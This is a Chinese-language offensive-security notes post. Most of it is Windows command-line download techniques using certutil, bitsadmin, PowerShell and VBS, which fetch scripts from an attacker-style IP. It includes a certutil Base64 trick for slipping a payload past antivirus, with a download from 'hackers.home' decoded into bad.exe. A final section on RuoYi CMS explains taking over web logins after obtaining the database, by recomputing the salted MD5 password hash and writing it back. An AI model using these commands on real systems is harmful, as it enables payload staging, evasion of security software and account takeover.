攻防笔记

攻防笔记

Gat1ta 181 2024-02-23

windows命令行下载文件

certutil

适用于server 2003以上版本

certutil -urlcache -split -f http://192.168.203.140/b.ps1 d:/b.ps1

以上命令会将http://192.168.203.140/b.ps1下载到本地的d盘

使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。

C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt

C:\Temp>certutil.exe -decode bad.txt bad.exe

详情参考:
https://learn.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)

bitsadmin

适用于server 2003以上版本

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

详情参考:https://learn.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool

powershell

powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')

vbs

第一种把下载地址直接echo输入download.vbs。直接下载即可。

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

第二种保存脚本后再下载指定文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1

若依CMS

若依CMS数据库密码加密

当拿到一个若依cms的数据库想登录web的时候,会发现数据库中的密码都是加密过的。

若依默认加密代码在com.ruoyi.framework.shiro.service.SysPasswordService.encryptPassword中:

    public String encryptPassword(String loginName, String password, String salt) {
        return (new Md5Hash(loginName + password + salt)).toHex();
    }

通过loginname+password+salt计算一个md5值,数据库中loginname和salt是已知的,可以通过这段代码输入现有的loginname+任意密码+salt计算出一个新的MD5值,然后将这个值写入数据库就可以登录了。

    public static void main(String[] args) {
        System.out.println(encryptPassword("majun","adminadmin123111111","880a8c"));

    }